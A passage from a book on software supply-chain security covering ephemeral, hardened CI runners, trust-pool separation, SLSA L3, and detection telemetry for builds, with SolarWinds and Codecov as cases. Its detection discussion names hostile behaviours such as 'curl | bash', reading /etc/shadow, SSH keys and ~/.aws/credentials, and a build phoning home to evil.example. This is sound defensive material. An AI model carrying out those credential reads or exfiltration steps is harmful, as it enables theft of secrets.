The security win is direct: none of these need `--privileged`, none need the host Docker socket, and all run as (or close to) an unprivileged user. You keep the container-build capability without punching the isolation hole. On stronger substrates you can go further — run the rootless builder *inside* a gVisor sandbox or a microVM, so even a builder compromise is boxed by a VM boundary. The combination "rootless builder + microVM runner" is the current best practice for building images from untrusted input.

Ephemeral runner architectures

The abstract pattern is always the same three steps — **provision fresh → run exactly one job → destroy** — and every major platform now implements it. The differences are in *what* the ephemeral unit is (a VM, a pod, a container) and *who* orchestrates the lifecycle.

GitHub-hosted runners

GitHub-hosted runners are ephemeral by construction: each job gets a **clean, fresh VM**, the job runs, and the VM is discarded. No state carries between jobs; there is nothing for a compromise to persist into, and one

repo's job cannot observe another's. This is the reference model, and it is a large part of why GitHub's native `actions/attest-build-provenance` can credibly claim L3 — the build environment is ephemeral and isolated by default, and the provenance is signed by GitHub's OIDC identity outside the user's job (Chapter 3). The catch is only that the VM's outbound network is wide open by default, which is why egress control (below) is the missing hardening piece even on hosted runners.

Self-hosted: the persistence trap and JIT runners

Self-hosted runners are where teams reintroduce persistence by accident. The classic setup registers a long-lived runner that polls for jobs and services them one after another on the same machine — a persistent runner, with every accumulation problem from the first section. Worse, GitHub's docs warn explicitly that self-hosted runners should generally **not** be used with public repositories, because a fork PR can run attacker code on your persistent runner.

Two mechanisms fix this:

- **Ephemeral runners** (`--ephemeral`): the runner registers, accepts exactly one job, and deregisters/exits after it. Pair with automation that provisions a fresh runner (a fresh VM or container) for each, and you have the provision-run-destroy loop on self-hosted infrastructure.
- **Just-in-time (JIT) runners**: instead of a long-lived registration token sitting on a machine, you call the GitHub API to mint a **single-use JIT config** for one runner, bound to `--ephemeral`. The runner uses that config once and it is spent. There is no reusable registration credential to steal and no re-registration; the identity is as short-lived as the runner. This closes the "attacker steals the runner registration token and registers their own runner" path.

Actions Runner Controller (ARC) on Kubernetes

Actions Runner Controller is the Kubernetes-native way to run ephemeral GitHub self-hosted runners as pods. In the current (autoscaling runner scale set) model, ARC watches GitHub for queued jobs and, per job, creates a **fresh runner pod** using a JIT/ephemeral registration; the pod runs one job and is deleted. Autoscaling is intrinsic — the scale set grows pods under load and shrinks to zero when idle. Each job therefore gets a clean pod with clean volumes, and the isolation is whatever the underlying pod sandbox provides (namespace container

by default; gVisor via a `RuntimeClass`, or a microVM runtime, if you want a stronger boundary). ARC is the canonical "ephemeral isolated runners as a platform capability" implementation for GitHub-centric orgs.

```
sequenceDiagram
    autonumber
    participant GH as GitHub (job queue)
    participant ARC as ARC controller
    participant K8s as Kubernetes
    participant Pod as Runner pod (ephemeral)
    GH->>ARC: job queued (webhook / poll)
    ARC->>GH: request JIT runner config (single-use)
    ARC->>K8s: create fresh runner pod (JIT config)
    K8s->>Pod: schedule on node (sandboxed runtime)
    Pod->>GH: register (ephemeral), pull the one job
    Pod->>Pod: run job (build/test), OIDC token JIT
    Pod-->>GH: report status + provenance
    ARC->>K8s: delete pod (destroy)
    Note over Pod,K8s: volumes, secrets, workspace gone – nothing persists
```

GitLab and Jenkins

The same pattern appears everywhere the ecosystem runs at scale:

- **GitLab Kubernetes executor:** each CI job runs in a **fresh pod**, created per job and torn down after — ephemeral by design, isolation per the pod runtime. GitLab's older **Docker Machine autoscaler** achieved the same shape at the VM level (spin up a fresh VM per demand, run, destroy), and its successor autoscaling models keep the per-job-VM property for stronger isolation. GitLab also supports the privileged-DinD-vs-Kaniko/Buildah choice for image builds and documents the rootless path.
- **Jenkins Kubernetes plugin:** provisions a **pod per build** as the agent; the pod is created when the build starts and deleted when it finishes. This replaced the old long-lived Jenkins agent (the archetypal persistent, state-accumulating runner) with an ephemeral one. Jenkins can equally use ephemeral cloud VMs via its EC2/cloud plugins.

The convergence is the point: at scale, *nobody* who takes build security seriously runs long-lived shared agents anymore. The ephemeral unit differs (VM, pod, microVM), but provision-run-destroy is the industry

default, and autoscaling ephemeral fleets — spin up on demand, tear down to zero — is the operational model that makes it affordable.

Hardening the build environment

Ephemerality and isolation bound the blast radius; hardening shrinks it further and cuts off the channels an in-build compromise would use. Treat the following as a checklist applied to the runner image and the pod/VM spec, provisioned once as a platform default so every team inherits it.

Least privilege inside the sandbox

- **Non-root by default.** The build process runs as an unprivileged UID. In Kubernetes: `runAsNonRoot: true`, an explicit `runAsUser`, and drop the ability to regain privilege via `allowPrivilegeEscalation: false`.
- **Drop capabilities.** Start from `drop: ["ALL"]` and add back only what a build genuinely needs (almost always nothing). Never `add: ["SYS_ADMIN"]` or run `privileged: true`.
- **Read-only root filesystem.** `readOnlyRootFilesystem: true` with explicit, minimal writable mounts (a scratch `emptyDir` for the workspace, `/tmp`). A read-only root means an attacker cannot overwrite binaries on `PATH` or drop persistence — and since the environment is ephemeral anyway, there is rarely a reason for a writable root.
- **seccomp and AppArmor/SELinux.** Apply at minimum the runtime's default seccomp profile (`seccompProfile: { type: RuntimeDefault }`) — a shocking number of clusters still run `Unconfined` — and an AppArmor or SELinux profile that confines file and network access. These narrow the reachable kernel/syscall surface that a container escape would exploit.
- **No host mounts, no host namespaces.** No `hostPath`, no `hostNetwork` / `hostPID` / `hostIPC`, no host Docker socket. Each of these is a direct bridge out of the sandbox.

```
# Kubernetes runner pod securityContext (hardened default)
securityContext:
  runAsNonRoot: true
  runAsUser: 10001
  runAsGroup: 10001
  allowPrivilegeEscalation: false
  readOnlyRootFilesystem: true
  capabilities:
    drop: ["ALL"]
  seccompProfile:
    type: RuntimeDefault
# no hostPath volumes, no hostNetwork/hostPID, no privileged, no
docker.sock
```

Network egress control — the control most orgs are missing

By default a build can reach the entire internet. That default is an open exfiltration channel and an open command-and-control channel. A malicious dependency's install script (Chapter 7, Book 2) wants to POST your `AWS_SECRET_ACCESS_KEY` to an attacker endpoint; a poisoned build tool wants to fetch a second stage. Both need egress. **Restricting outbound network is one of the highest-leverage controls you can apply**, and most pipelines do not apply it.

The model is an **egress allowlist**: the build may reach the internal package proxy/registry (Book 2, Chapter 8), the source host, the artifact store, and the specific internal services it legitimately needs — and nothing else. Everything else is denied and, ideally, *logged*, so an unexpected egress attempt is a detection signal, not a silent success.

- On GitHub Actions, **StepSecurity Harden-Runner** instruments the hosted runner to monitor and enforce outbound connections against an allowlist, blocking (or, in audit mode, alerting on) egress to any endpoint you did not permit. It surfaces exactly the "why is this build calling an IP in a country we have no infrastructure in" signal that catches dependency-confusion and poisoned-tool exfiltration in the act (Chapters 5 and 9). This is the reference implementation of egress control for Actions.
- In Kubernetes runner fleets, `NetworkPolicy` (or a CNI/service-mesh egress policy, or an egress gateway with an explicit allowlist) enforces the same shape at the pod level: default-deny egress, allow only the proxy and required services.

Hermetic builds make this natural. Chapter 2's hermetic model prefetches every input, then builds with the network *cut off entirely*. If the build needs no network during execution, egress control is not a fussy allowlist — it is `network: none`. A hermetic build in a no-network sandbox has no exfiltration channel and no fetch-time poisoning surface, and it hardens every runner in the fleet uniformly. Egress control and hermeticity are the same control viewed from two angles.

Immutable, minimal runner images

The runner image itself is a supply-chain surface. Harden it:

- **Immutable and pinned.** Build the runner image once, pin base images by digest (not tag), pin the runner agent and every preinstalled tool to a specific version, and rebuild it through the same reproducible/hermetic pipeline you hold everything else to (Chapter 2). A mutable "latest tools" runner is an unversioned dependency in your most privileged context.
- **Minimal.** Ship only the toolchain a build needs. Every extra binary is extra attack surface and an extra thing an attacker can turn into a living-off-the-land tool. Distroless or minimal base images cut this down.
- **Scanned and provenanced.** The runner image gets an SBOM (Book 3), a vulnerability scan, and its own provenance, like any other artifact you deploy.

Secrets in the ephemeral context

Ephemerality changes secret handling for the better, and you should lean into it (Chapter 6):

- **Just-in-time injection.** Secrets are injected into the environment only when the job needs them and are gone the instant the environment is destroyed. There is no persistent disk for them to linger on and no next job to leak into.
- **Prefer OIDC over stored secrets.** A runner that authenticates to your cloud, registry, or signer via a short-lived **OIDC workload-identity token** (Book 5, Chapter 4) has *no long-lived secret to steal or persist* — the token is minted for the job, scoped, and expires in minutes. This is the ideal pairing with ephemeral runners: ephemeral identity for an ephemeral environment. It is also what lets the

platform sign provenance without ever exposing a signing key to the build steps.

- **Never bake secrets into the runner image or a persistent volume.** A secret on the image or a reused cache volume defeats ephemerality entirely — it is exactly the persistent state you removed everything else to avoid.

Control	Mechanism	Defends against
Non-root build	<code>runAsNonRoot</code> , unprivileged UID	Escalation, host-privilege abuse
Drop all capabilities	<code>capabilities.drop: [ALL]</code>	Capability-based escape primitives
Read-only root FS	<code>readOnlyRootFilesystem</code>	Binary tampering, on-disk persistence
seccomp <code>RuntimeDefault</code>	BPF syscall filter	Kernel-surface reachable from build
AppArmor/SELinux profile	LSM mandatory access control	Unexpected file/network access
No host mounts/namespaces	Pod spec constraints	Direct sandbox escape bridges
Egress allowlist / <code>network: none</code>	Harden-Runner, NetworkPolicy, hermetic	Exfiltration, C2, fetch-time poisoning
Immutable pinned runner image	Digest-pinned, minimal, provenanced	Runner-image supply-chain drift
JIT secrets + OIDC	Short-lived tokens, no stored creds	Secret harvesting and persistence
Ephemeral + single-use	provision-run-destroy, <code>--ephemeral</code>	Implant persistence across jobs

Isolating trust levels

Isolation *within* a build environment is necessary but not sufficient. The operational failure that keeps recurring is running *untrusted* code on a

runner that holds — or will later hold — *trusted* privileges. This is Chapter 7's trusted/untrusted boundary made concrete in infrastructure.

The rule: **untrusted builds and trusted builds run on separate pools, with separate isolation, separate network egress, and separate identity.** Never let a fork-PR build, a community submission, or any attacker-influenceable job run on a runner that has production deploy credentials, signing access, or adjacency to jobs that do.

- **Untrusted pool.** Fork PRs, public-repo CI, anything running code you have not reviewed. Strongest isolation (microVM or full VM per job), **no secrets**, no OIDC to any privileged audience, tightest egress allowlist (often source + proxy only), ephemeral and single-use. If it is compromised, it has nothing worth stealing and nowhere privileged to reach.
- **Trusted pool.** Post-merge builds, release builds, deploys — jobs running reviewed code that must hold secrets, sign artifacts, and reach production. These get the secrets and the deploy identity, but they run *only* reviewed, trusted code, so the code-execution risk that would abuse those privileges is removed by construction.

The two pools must not share nodes, networks, secret scopes, or identities. On GitHub this maps to the `pull_request` (untrusted, no secrets) vs `pull_request_target` /post-merge (trusted, has secrets) distinction from Chapter 5, backed by *physically separate runner groups*. Getting this split right is more important than any single isolation technology: perfect microVM isolation on a pool that nonetheless holds production secrets *and* runs fork code has still handed the fork code a shot at those secrets during the build.

```

flowchart TB
    subgraph untrusted["Untrusted pool"]
        UT["fork PRs, public CI,  
unreviewed code"]
        UI["microVM / VM per job  
NO secrets, no privileged OIDC  
egress: source + proxy only"]
        UT --> UI
    end
    subgraph trusted["Trusted pool"]
        TT["post-merge, release, deploy  
reviewed code only"]
        TI["secrets + OIDC deploy identity  
signing access"]
        TT --> TI
    end
    PROD["Production, signing key, registry"]
    TI --> PROD
    UI -. "no path" .-> PROD
    UI -. "separate nodes, networks,  
secret scopes, identities" .-> TI

    classDef u fill:#fde,stroke:#a33
    classDef t fill:#dfe,stroke:#3a3
    class UT,UI u
    class TT,TI t

```

Achieving SLSA L3 through the build environment

Now tie it together. Chapter 3 defined SLSA Build L3 as adding, on top of L2's signed provenance from a hosted platform, two requirements: the build must be **isolated** (builds cannot influence one another, and — critically — cannot influence the provenance-generation process), and the provenance must be resistant to forgery *by the build itself*. Read that against this chapter and the design falls out: **an ephemeral, isolated, hardened build environment where the provenance is signed by the platform outside the user-controlled build steps is the L3 requirement**. L3 is not a separate feature you bolt on; it is what you get when the environment is built correctly.

Trace each L3 obligation to its mechanism:

- *Builds cannot influence each other* ← **ephemerality** (nothing persists between jobs) plus **isolation** (no cross-build reach during a job). Exactly the two properties of this chapter.

- *Builds cannot influence the provenance* ← the signing identity and the provenance-generation step live **outside the user's build steps**, in the platform. The build runs as an unprivileged process in a sandbox; the OIDC identity and the signing operation are the *platform's*, invoked after the build, not reachable from inside it. The build cannot read the signing key (there is no key to read — it is keyless via the platform's OIDC identity and Sigstore, Book 5) and cannot forge the provenance because it never holds the credential that vouches for it.
- *Non-falsifiable provenance* ← the platform, not the job, attests. GitHub's `actions/attest-build-provenance` and the SLSA GitHub Generator both run the signing in a trusted, isolated context using GitHub's OIDC identity — the ephemeral, isolated hosted runner is the substrate that makes the attestation trustworthy.

```

flowchart TB
    subgraph env["Ephemeral, isolated runner (platform-owned)"]
        BUILD["Build steps  
(user-controlled, unprivileged,  
sandboxed, no signing access)"]
        ART["Artifact + digest"]
        BUILD --> ART
    end
    subgraph plat["Platform-owned, outside build steps"]
        OIDC["Platform OIDC identity"]
        PROV["Generate + sign provenance  
(Sigstore, keyless)"]
        OIDC --> PROV
    end
    ART --> PROV
    BUILD -. "cannot reach" .-> OIDC
    PROV --> OUT["SLSA L3 provenance  
(non-falsifiable by the build)"]

```

This is why L3 is achievable "for free" on a well-designed hosted platform and painful to bolt onto a persistent self-hosted runner: on the hosted platform the ephemerality, isolation, and out-of-band signing are structural; on the persistent runner you have to *recreate* all three, and if the build steps can reach the signing identity — as they can when everything runs as the same user on the same long-lived machine — you cannot honestly claim non-falsifiable provenance no matter what you attest.

Distributed-systems lens

At the scale of many teams, many repos, and high deploy frequency, the through-line of this chapter is that **ephemeral isolated runners are a platform capability, not a per-team project**. No individual team should be designing microVM sandboxing, egress allowlists, or JIT-secret plumbing. The build platform team provides a **paved road** (Book 4, Chapter 10): ARC scale sets or a GitLab/Jenkins Kubernetes fleet where every job — for every team — lands in a fresh, hardened, sandboxed, egress-controlled pod or microVM by default, with OIDC identity and platform-signed provenance wired in. Teams get L3-grade isolation and clean environments *without knowing any of this exists*, which is the only way it actually happens across hundreds of repos.

Several fleet realities sharpen the design:

- **Multi-tenant isolation between teams is the central requirement.** Teams share the build platform and its nodes; one team's build must not reach another's secrets, workspace, network, or provenance. This is exactly the untrusted-code-on-a-shared-substrate problem that pushes public multi-tenant platforms (Lambda, Fargate) to microVMs, and it is why "namespace container per job on a shared node" is a weak answer for a multi-tenant build platform: a container escape by one tenant's poisoned build reaches the co-tenants on that node. Stronger per-job boundaries (gVisor `RuntimeClass`, Kata/Firecracker) are the fleet-level control, chosen per pool by trust level.
- **Egress control and hermeticity applied fleet-wide cut off exfiltration and poisoning uniformly.** A single team enabling Harden-Runner protects one repo; the platform enforcing default-deny egress and hermetic builds across every pipeline removes the exfil and fetch-poisoning channel for the whole org at once — and turns any unexpected egress into a fleet-wide detection signal (Chapter 9).
- **Ephemerality compounds with reproducibility and provenance.** A clean environment per build is also the clean environment that reproducible builds need (Chapter 2) and the isolated environment that trustworthy provenance needs (Chapter 3). One design decision — provision-run-destroy in a hardened sandbox — pays into three different guarantees.

- **The cost is real and must be budgeted.** Stronger isolation and single-use environments cost **cold-start latency** (a fresh microVM or VM per job is ~100 ms to seconds versus a warm persistent agent's zero) and **resource overhead** (a guest kernel and dedicated memory per microVM, at fleet density, is real money). The fleet answers with **warm pools** (pre-booted sandboxes ready to accept a job, refreshed after use to preserve single-use semantics), **snapshotting** (Firecracker resume from a memory snapshot), **autoscaling to zero** when idle, and **tiering** — cheap namespace-container pools for trusted internal builds, expensive microVM pools reserved for untrusted and public work. The isolation-strength decision is therefore also a cost decision, made per pool against the trust level of the code that pool runs, not applied uniformly.

The synthesis: the secure build platform is not one where isolation is maximal everywhere — that is unaffordable — but one where **every build is ephemeral, every build is at least as isolated as its trust level demands, untrusted and trusted work are physically separated, egress is controlled by default, and the provenance is signed by the platform outside every build's reach.** That configuration delivers anti-persistence, cross-tenant isolation, and SLSA L3 together, as a shared capability, which is the only way it survives contact with a hundred teams shipping continuously.

Key takeaways

- **Persistence is the core CI failure; ephemerality removes it.** A persistent runner accumulates state — implants, cached tools, leftover credentials — so a compromise in one build reaches later builds and other tenants. This is SolarWinds at CI scale. A fresh, single-use environment destroyed after each job leaves nothing to persist into.
- **Ephemeral and isolated are independent and you need both.** Ephemeral bounds a compromise in *time* (gone after the job); isolated bounds it in *space* (cannot reach other builds, the host, or the network during the job). Neither substitutes for the other.
- **Container isolation is not VM isolation.** Namespace containers share the host kernel; an escape reaches the host and co-tenants. gVisor interposes a user-space kernel, microVMs (Kata/Firecracker) and full VMs add a real hypervisor boundary. Match the boundary to

the trust level: untrusted/public builds warrant a VM-class boundary, and never run untrusted code behind only a namespace container.

- **--privileged DinD and the host Docker socket are the classic isolation holes.** You do not need a privileged daemon to build an image. Kaniko, Buildah, and rootless BuildKit build OCI images daemonless and rootless — use them, ideally inside a stronger sandbox.
- **Provision-run-destroy is the universal ephemeral pattern.** GitHub-hosted VMs, JIT/ephemeral self-hosted runners, ARC pods, GitLab's Kubernetes executor, and Jenkins Kubernetes agents all implement it, with autoscaling ephemeral fleets as the operational model.
- **Harden with a checklist, applied as a platform default.** Non-root, drop all capabilities, read-only root FS, seccomp/AppArmor, no host mounts, and above all **egress allowlisting** (or `network: none` for hermetic builds) — the exfiltration/C2 channel most pipelines leave wide open. JIT secrets and OIDC ensure nothing durable is left to persist.
- **Separate trusted from untrusted pools** — different isolation, network, and identity. Never run fork/untrusted code on a runner that holds or will hold production privileges. This split matters more than any single isolation technology.
- **The correctly-built environment is SLSA L3.** Ephemeral + isolated + provenance signed by the platform outside the user's build steps delivers the L3 isolation and non-forgability requirements by construction — which is why L3 is nearly free on a well-designed hosted platform and hard to retrofit onto persistent self-hosted runners.

Further reading

- **SLSA v1.0 — Build track requirements and Threats.** The normative L3 isolation and provenance- non-forgability requirements this chapter's design satisfies. <https://slsa.dev/spec/v1.0/requirements> and <https://slsa.dev/spec/v1.0/threats>.
- **gVisor** — architecture of the user-space kernel (`runsc`), the sentry, and the platform models (ptrace/KVM). <https://gvisor.dev/docs/>.

- **Kata Containers** and **Firecracker** — VM-isolated containers and AWS's minimal VMM. <https://katacontainers.io/> and <https://firecracker-microvm.github.io/>. See also the Firecracker NSDI '20 paper, *Firecracker: Lightweight Virtualization for Serverless Applications*.
- **Kaniko**, **Buildah**, and **BuildKit (rootless)** — daemonless/rootless OCI image builders. <https://github.com/GoogleContainerTools/kaniko>, <https://buildah.io/>, and <https://github.com/moby/buildkit/blob/master/docs/rootless.md>.
- **Actions Runner Controller (ARC)** — ephemeral autoscaling GitHub runners on Kubernetes. <https://github.com/actions/actions-runner-controller>. See also GitHub's docs on **just-in-time runners** and **ephemeral self-hosted runners** under *Autoscaling with self-hosted runners*.
- **GitLab Runner — Kubernetes executor** and **Jenkins — Kubernetes plugin** — pod-per-job ephemeral agents. <https://docs.gitlab.com/runner/executors/kubernetes/> and <https://plugins.jenkins.io/kubernetes/>.
- **StepSecurity Harden-Runner** — egress monitoring and allowlisting for GitHub Actions runners. <https://github.com/step-security/harden-runner>.
- **Kubernetes** — *Pod Security Standards* (Baseline/Restricted), `securityContext`, `seccomp` and `AppArmor` tutorials, and `NetworkPolicy`. <https://kubernetes.io/docs/concepts/security/>.
- **runc CVE-2019-5736** — the canonical container-escape-via-host-binary-overwrite writeup, as a concrete reminder of the shared-kernel model's limits.
- Book 1, Chapter 3 (SolarWinds/3CX build-machine persistence) and Chapter 9 (blast radius); Book 2, Chapter 8 (internal registries and proxies for egress allowlisting); Book 4, Chapter 2 (hermetic and reproducible builds), Chapter 3 (SLSA provenance and the L3 isolation requirement), Chapters 4-5 (CI/CD platform threats and hardening Actions), Chapter 6 (secrets and OIDC), Chapter 7 (pipeline poisoning and the trusted/untrusted boundary), Chapter 9 (build observability and egress detection), Chapter 10 (the secure build platform as a paved road); Book 5, Chapter 4 (OIDC workload

identity) and Chapter 8 (provenance verification); Book 6, Chapters 5-6 (image signing and admission control).

Chapter 9 — Build Observability and Anomaly Detection

What this chapter covers. Chapters 2-8 built a wall: hermetic builds, provenance, platform hardening, secret hygiene, and ephemeral runners. That wall is necessary and it is never finished. Every control has a bypass, every configuration drifts, and every attacker gets exactly one job right on the day you get one thing wrong. Prevention buys you a lower probability of compromise; it does not buy you *knowledge that you were compromised*. That knowledge comes only from **detection** — the detective controls that watch the build while it runs and tell you when it does something it has never done before. This chapter is about instrumenting the build system like the tier-0 production service it actually is: what telemetry to collect, how to reason about "normal" for something as legitimately strange as a build, which anomaly-detection approaches actually work at CI volume, and how to ship the evidence out of an ephemeral runner before it evaporates. The organizing fact is uncomfortable and historical: **the two most instructive build compromises of the last decade — SolarWinds and Codecov — were not caught by the victim's monitoring**. They ran for months and were found by luck and by customers. This chapter is the answer to the question "what monitoring would have caught them," turned into an operating discipline.

Learning goals — after this chapter you should be able to:

- Explain **why CI/CD is a monitoring blind spot** despite being tier-0, and why builds are genuinely harder to baseline than production services.
- Enumerate the **telemetry sources** of a build — audit logs, process/syscall events, network egress, filesystem access, artifact/provenance state, dependency resolution — and know what each one detects.
- Reason about **anomaly detection for builds**: egress allowlisting as the most tractable model, behavioral baselining per pipeline, and signature/rule-based detection with tools like Falco and Tetragon.

- Map concrete **attack classes** (PPE, secret exfiltration, cache/artifact tampering, runner compromise) to the **detection signals** that reveal them.
- **Operationalize** detection: ship telemetry off ephemeral runners to a SIEM before teardown, route alerts to an owner, and keep false positives survivable through hermeticity and good baselines.
- Use **reproducibility as a detective control** and **provenance verification as continuous tamper detection** across a fleet.
- Reconstruct, in hindsight, the **egress signal that would have caught Codecov**, and generalize it into a monitoring posture.

Why the build is a blind spot

Ask a mature engineering organization to show you their production observability and you will get a tour: metrics, distributed traces, structured logs, SLOs, on-call rotations, a SIEM ingesting authentication events, EDR on every host, network flow logs, an incident-response runbook. Ask the same organization to show you the equivalent for their build system and you will usually get a blank stare, or a link to the CI provider's build-log UI — which is not security telemetry, it is a debugging convenience that developers read and no one alerts on.

This asymmetry is not an accident of maturity; it is a category error. The build system is treated as *plumbing* — "it's just the build," a developer-facing utility that either turns red or green. But Book 1, Chapter 9 established the opposite: the build system is **tier-0 infrastructure**. It holds signing keys, deploy credentials, cloud OIDC identities, and write access to the artifacts that every one of your production hosts will execute without question. A compromise of the build is a compromise of everything the build can sign, push, or deploy — which, at a mature org, is everything. A system with that blast radius deserves at least the observability you give a payment service. It almost never gets it.

The consequences are not hypothetical. Consider the two canonical cases, described at the level of certainty we actually have:

- **SolarWinds (SUNSPOT / SUNBURST, disclosed December 2020)**. The attacker did not tamper with source in the repository. They planted a build-time implant (SUNSPOT) *on a build server* that waited for the Orion solution to compile and, during compilation, transparently replaced a source file so the malicious SUNBURST

backdoor was woven into the legitimately signed product. The implant was engineered specifically to be invisible in ordinary developer workflows: it restored the original source after the build, matched timestamps, and produced a build that looked normal. By the best public reconstruction, the malicious builds ran for **months** — the trojanized releases shipped from roughly spring 2020 — before FireEye (Mandiant), a *customer*, discovered the intrusion in its own network and traced it back. The SolarWinds build environment's own monitoring did not raise the alarm.

- **Codecov (disclosed April 2021).** The attacker obtained credentials from a flaw in how Codecov built a Docker image, and used them to modify Codecov's **Bash Uploader** script — a tool that runs inside *customers'* CI pipelines to upload coverage reports. The altered uploader exfiltrated environment variables (which in CI means secrets, tokens, and keys) to an attacker-controlled server. By Codecov's own account the modification persisted for roughly **two months** (late January to early April 2021) and was discovered when a customer noticed a mismatch between the checksum of the uploader they downloaded and the checksum recorded in Codecov's own git — an integrity check the customer, not Codecov, happened to perform.

Two different mechanisms — an on-host build implant and a tampered distributed script — but the same detection failure and the same lesson. In both cases the malicious behavior was *observable in principle*: SUNSPOT manipulated files and processes on a build server; the Codecov uploader made an outbound network connection to a host it had never contacted before. In both cases nobody was watching the build with the instrumentation that would have surfaced it. The lesson is one sentence: **instrument the build like production.**

Why builds are genuinely hard to baseline

If it were easy, the blind spot would already be filled. It is not easy, for reasons intrinsic to what a build is:

- **Builds legitimately do "weird" things.** A build compiles code (spawning compilers, linkers, code generators), fetches dependencies (outbound network to package registries and mirrors), executes arbitrary scripts (`make`, `npm run`, `setup.py`, Gradle tasks), writes and reads large numbers of files, and forks hundreds of short-lived

processes. In a production web service, a process spawning `curl` | `bash` or reading `/etc/shadow` is a five-alarm fire. In a build, half of those behaviors have benign explanations. The signal-to-noise problem is real: the malicious needle is hidden in a haystack that is *made of needles*.

- **High volume.** A large org runs thousands to hundreds of thousands of pipeline executions per day. Each one generates process, file, and network events. Naïve full-fidelity telemetry from every runner is a firehose that overwhelms both storage and the humans reading alerts.
- **Ephemerality.** Chapter 8's central hardening recommendation — single-use, ephemeral runners that are destroyed after every job — is a security win that is *actively hostile* to investigation. When a job finishes, the runner is gone: no host to log into, no disk to image, no process list to inspect. If the telemetry was not shipped out *during* the job, it does not exist. Ephemerality and forensics are in direct tension, and the resolution is not "keep the runners" — it is "ship the evidence out in real time."
- **Diversity.** Every pipeline is a little different, so a per-pipeline baseline has to be learned per pipeline. This is where the paved road (Chapter 10) pays a detection dividend we will return to: uniform builds have uniform normal behavior, and uniformity is what makes an anomaly stand out.

Hold these four constraints in mind. Every design decision in the rest of the chapter is a response to at least one of them.

What to observe: the telemetry sources

Detection is only as good as its inputs. A build has six telemetry sources worth collecting, each answering a different question and each catching a different attack. Treat them as a portfolio: no single source is sufficient, and the strongest detections correlate across two or more.

```

flowchart LR
    subgraph Build["Build / CI execution"]
        A["Audit logs\n(config, perms, secrets, runners)"]
        P["Process / syscall events\n(eBPF: Falco, Tetragon,\nHarden-Runner)"]
        N["Network egress\n(DNS, connections, bytes)"]
        F["Filesystem access\n(secrets, keys, tool tamper)"]
        R["Artifact / provenance\n(output hash, attestations)"]
        D["Dependency resolution\n(new deps, install scripts)"]
    end
    A --> SIEM["Central detection\nplatform (SIEM)"]
    P --> SIEM
    N --> SIEM
    F --> SIEM
    R --> SIEM
    D --> SIEM
    SIEM --> DET["Detection rules\n+ baselines"]
    DET --> AL["Alerts"]
    AL --> IR["Incident response\n(Book 8, Ch 6)"]

```

1. Build and CI audit logs — who changed the machine

The control plane of your CI system emits an audit stream, and it is the cheapest, highest-value telemetry you are probably already ignoring. GitHub emits an **organization and enterprise audit log** (available as a stream to Splunk, Azure Event Hubs, S3, or Google Cloud Storage via *audit log streaming*); GitLab emits **audit events**; Jenkins can be configured with the Audit Trail plugin. The events that matter for build security are not the build runs — they are the *changes to the system that runs the builds*:

- **Pipeline configuration changes** — who edited a workflow, who added a new `.github/workflows` file, who changed a `Jenkinsfile` or a protected pipeline. Recall from Chapter 7 that the entire invoked-file tree is code; the audit log for the YAML is a partial but real signal.
- **Permission and role changes** — who was granted admin, who changed branch protection, who disabled a required check, who added a deploy key or a personal access token.
- **Secret access and changes** — who created, read, or updated a repository or organization secret, who added an OIDC trust relationship.

- **Self-hosted runner registration.** This one deserves emphasis: **a newly registered self-hosted runner is a red flag by default.** An attacker who can register a runner can intercept jobs targeted at that runner label and execute in your CI context (Chapter 4). A new runner appearing in the audit log — especially one registered by an unexpected identity, or at an unusual time — is one of the highest-fidelity single events in the whole build-security portfolio.

Audit logs answer *who changed the build system, and when*. They are structured, low-volume, and easy to stream. If you do nothing else after this chapter, turn on audit log streaming to your SIEM.

2. Process and syscall telemetry — what actually ran

The audit log tells you the pipeline definition changed; it does not tell you what the pipeline *did* when it ran. For that you need runtime visibility *inside the runner*, at the process and syscall level. The modern mechanism for this is **eBPF** — the in-kernel virtual machine that lets you attach programs to kernel events (syscalls, `execve`, network connections, file opens) and emit structured events to userspace with low overhead and without a custom kernel module.

Several tools implement build-runner runtime detection on eBPF:

- **Falco** (a CNCF project) attaches to syscalls and evaluates a rules engine over them: "shell spawned in a container," "sensitive file opened," "outbound connection to a non-allowed host," "package manager executed at runtime." It emits alerts to stdout, files, gRPC, or downstream sinks.
- **Tetragon** (from Cilium, also eBPF) does process and syscall observability with in-kernel filtering and can additionally *enforce* (kill a process, block a syscall) at the kernel level, not just observe.
- **StepSecurity Harden-Runner** is purpose-built for GitHub Actions: it runs an agent inside the Actions runner that uses eBPF to monitor process execution, file access, and — its headline feature — network egress, correlating each event to the workflow step that caused it.
- Commercial runtime-security platforms (**Aqua**, **Sysdig**, which productizes Falco) provide the same class of telemetry with managed rule sets and console.

What this source detects: a build step that spawns an *unexpected* shell, a compiler process that forks a network tool, a step that reads `/etc/shadow`

or an SSH private key, a process that was not in the build's normal process tree. This is the source that would have surfaced SUNSPOT's file manipulation on the build host — an unexpected process touching source files mid-compile.

The cost is volume and noise (constraints 1 and 2). Builds spawn many processes; unfiltered `execve` telemetry is enormous. The mitigation is in-kernel filtering (Tetragon, Harden-Runner) and good baselines (below), not "collect everything and sort it out in the SIEM."

3. Network egress — where the build reached out

Of all six sources, **network egress is the most valuable per byte of telemetry**, because supply-chain attacks almost always have a network step: exfiltration needs a destination, and C2 needs a channel. The Codecov uploader's malice was, at the network layer, a single outbound connection to a host that legitimate uploads never contacted. That connection was *observable* and nobody observed it.

Egress telemetry is: DNS queries, connection attempts (destination IP/host, port), and optionally bytes transferred, correlated to the process and workflow step that initiated them. The key insight — developed at length in Chapter 8 as a *preventive* control — is that egress is *also* the best *detective* control, and the same allowlist serves both. A build's set of legitimate destinations is **small and stable**: your package registry, your source host, your artifact store, maybe a handful of mirrors. Everything else is anomalous by construction. This is what makes egress tractable where process telemetry is noisy: the space of "normal" is tiny.

Harden-Runner's default mode learns a workflow's egress and then, in a subsequent run, can alert on (or block) any connection outside the learned set. A build phoning home to `evil.example` stands out instantly against a background of `github.com`, `registry.npmjs.org`, and your internal Artifactory.

4. Filesystem access — what the build touched

Between processes and network sits the filesystem. The signals worth watching:

- **Access to secrets and keys the build has no business reading** — `/etc/shadow`, `~/.ssh/`, `~/.aws/credentials`, `~/.npmrc`, the CI

agent's own credential files, mounted secret volumes read by a step that has no reason to.

- **Tampering with tools or outputs** — a step overwriting a compiler binary, a linker, or an already-built artifact between the build and the publish step (the SLSA (F) post-build modification from Chapter 7). SUNSPOT is precisely this class: replacing a source file at build time.

Filesystem telemetry is usually delivered by the same eBPF agents as source 2 (file-open events are just another syscall class), which is why Falco/Tetragon/Harden-Runner appear across multiple rows.

5. Artifact and provenance anomalies — did the output change

